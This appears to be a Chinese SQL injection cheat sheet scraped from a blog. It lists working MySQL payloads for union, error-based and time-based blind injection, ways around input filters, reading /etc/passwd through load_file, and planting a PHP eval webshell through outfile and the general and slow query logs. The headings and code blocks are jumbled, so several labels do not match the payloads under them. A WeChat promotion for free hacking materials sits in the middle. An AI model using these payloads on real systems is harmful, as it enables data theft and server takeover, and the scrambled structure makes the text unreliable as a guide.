常用Payload:<br><br># 查询表名<br>' union select group_concat(table_name) from information_schema.tables where table_schema=database()%23<br># 查询字段名<br>' union select group_concat(column_name) from information_schema.columns where table_name='table1'%23
复制代码
报错注入
报错注入是利用mysql在出错的时候会引出查询信息的特征,常用的报错手段有如下10种:
# 修改select user() 字段 获取不同的信息<br><br># 1.floor()<br>select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);<br><br># 2.extractvalue()<br>select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));<br><br># 3.updatexml()<br>select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));<br><br># 4.geometrycollection()<br>select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));<br><br># 5.multipoint()<br><br>select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));<br><br>6.polygon()<br><br>select * from test where id=1 and polygon((select * from(select * from(select user())a)b));<br><br>7.multipolygon()<br><br>select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));<br><br>8.linestring()<br><br>select * from test where id=1 and linestring((select * from(select * from(select user())a)b));<br><br>9.multilinestring()<br><br>select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));<br><br>10.exp()<br><br>select * from test where id=1 and exp(~(select * from(select user())a));
例:parameter=’ or ascii(substr((select database()) ,1,1))<115—+
复制代码
查询结果正确,则延迟3秒,错误则无延时。 2.benchmark()
通过大量运算来模拟延时:
例:order by rand(database()='pdotest')
复制代码
本地测试这个值大约可延时3秒: 3.笛卡尔积
计算笛卡尔积也是通过大量运算模拟延时:
id=' or sleep(3)%23<br><br>id=' or if(ascii(substr(database(),1,1))>114,sleep(3),0)%23
复制代码
笛卡尔积延时大约也是3秒
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
HTTP头注入
注入手法和上述相差不多,就是注入点发生了变化
HTTP分割注入
常见场景,登录处SQL语句如下,注释符号被过滤
id=' or benchmark(10000000,sha(1))%23<br><br>id=' or if(ascii(substr(database(),1,1))>114,benchmark(10000000,sha(1)),0)%23
复制代码
select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C<br><br>select balabala from table1 where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)
select xxx from xxx where username=’xxx’ and password=’xxx’
复制代码
双写绕过
# 方法一<br>username=1' or extractvalue/*<br>password=1*/(1,concat(0x7e,(select database()),0x7e))or'<br><br>SQL语句最终变为<br>select xxx from xxx where username='1' or extractvalue/*’ and password=’*/(1,concat(0x7e,(select database()),0x7e))or''<br><br># 方法二<br>username=1' or if(ascii(substr(database(),1,1))=115,sleep(3),0) or '1<br>password=1<br>select * from users where username='1' or if(ascii(substr(database(),1,1))>0,sleep(3),0) or '1' and password='1'
复制代码
绕过空格
用于过滤时没有匹配大小写的情况:<br><br>SelECt * from table;
复制代码
使用16进制绕过特定字符
如果在查询字段名的时候表名被过滤,或是数据库中某些特定字符被过滤,则可用16进制绕过:
用于将禁止的字符直接删掉的过滤情况如:<br><br>preg_replace(‘/select/‘,’’,input)<br><br>则可用seselectlect from xxx来绕过,在删除一个select后剩下的就是select from xxx
select column_name from information_schema.columns where table_name=0x7573657273;
复制代码
逗号被过滤
username = %df'#<br>经gbk解码后变为:<br>select * from users where username ='運'#
复制代码
limit被过滤
and -> &&<br>or -> ||<br>空格-> /**/ -> %a0 -> %0a -> +<br># -> --+ -> ;%00(php<=5.3.4) -> or '1'='1<br>= -> like -> regexp -> <> -> in<br>注:regexp为正则匹配,利用正则会有些新的注入手段
复制代码
information_schema被过滤
# 用join代替:<br>-1 union select 1,2,3<br>-1 union select * from (select 1)a join (select 2)b join (select 3)c%23<br><br># limit:<br>limit 2,1<br>limit 1 offset 2<br><br># substr:<br>substr(database(),5,1)<br>substr(database() from 5 for 1) from为从第几个字符开始,for为截取几个<br>substr(database() from 5)<br># 如果for也被过滤了<br>mid(REVERSE(mid(database()from(-5)))from(-1)) reverse是反转,mid和substr等同<br><br># if:<br>if(database()=’xxx’,sleep(3),1)<br>id=1 and databse()=’xxx’ and sleep(3)<br>select case when database()=’xxx’ then sleep(5) else 0 end
select load_file(file_path);<br>load data infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取服务端文件<br>load data local infile "/etc/passwd" into table 库里存在的表名 FIELDS TERMINATED BY 'n'; #读取客户端文件
?id=1 union select 1,'<?php phpinfo();?>',3 into outfile '网站根目录绝对路径'-- qwe<br>?id=1 union select 1,'<?php phpinfo();?>',3 into dumpfile '网站根目录绝对路径'-- qwe
# 查看日志是否开启<br>show variables like 'general_log';<br><br># 开启日志功能<br>set global geeral_log=on;<br><br># 查看文件日志保存位置<br>show variables like 'general_log_file';<br><br># 设置日志保存位置(getshell的话存放在网站根目录,名为.php)<br>set global general_log_file='/var/www/html/shell.php';<br><br># 查看日志输出类型 table:将日志存入数据库的日志表中;file:将日志存入文件中<br>show variables like 'log_output';<br><br># 修改日志存储类型<br>set global log_output='table/file';
复制代码
GetShell方式:
set global geeral_log=on;<br>set global general_log_file='/var/www/html/shell.php';<br>select '<?php eval($_POST[8]);?>'
# 查看服务器默认时间值方式<br>show global variables like '%long_query_time%'<br>show global variables like '%long%'<br><br># 查看慢日志参数<br>show global variable like '%slow%';
复制代码
测试文件爆路径
很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。
# 打开慢日志<br>set global slow_query_log=on<br><br># 设置慢日志路径<br>set global slow_query_log_file='/var/www/html/shell.php'<br><br># 记录到日志中的语句<br>select '<?php @eval($_POST[8]);?>' or sleep(20)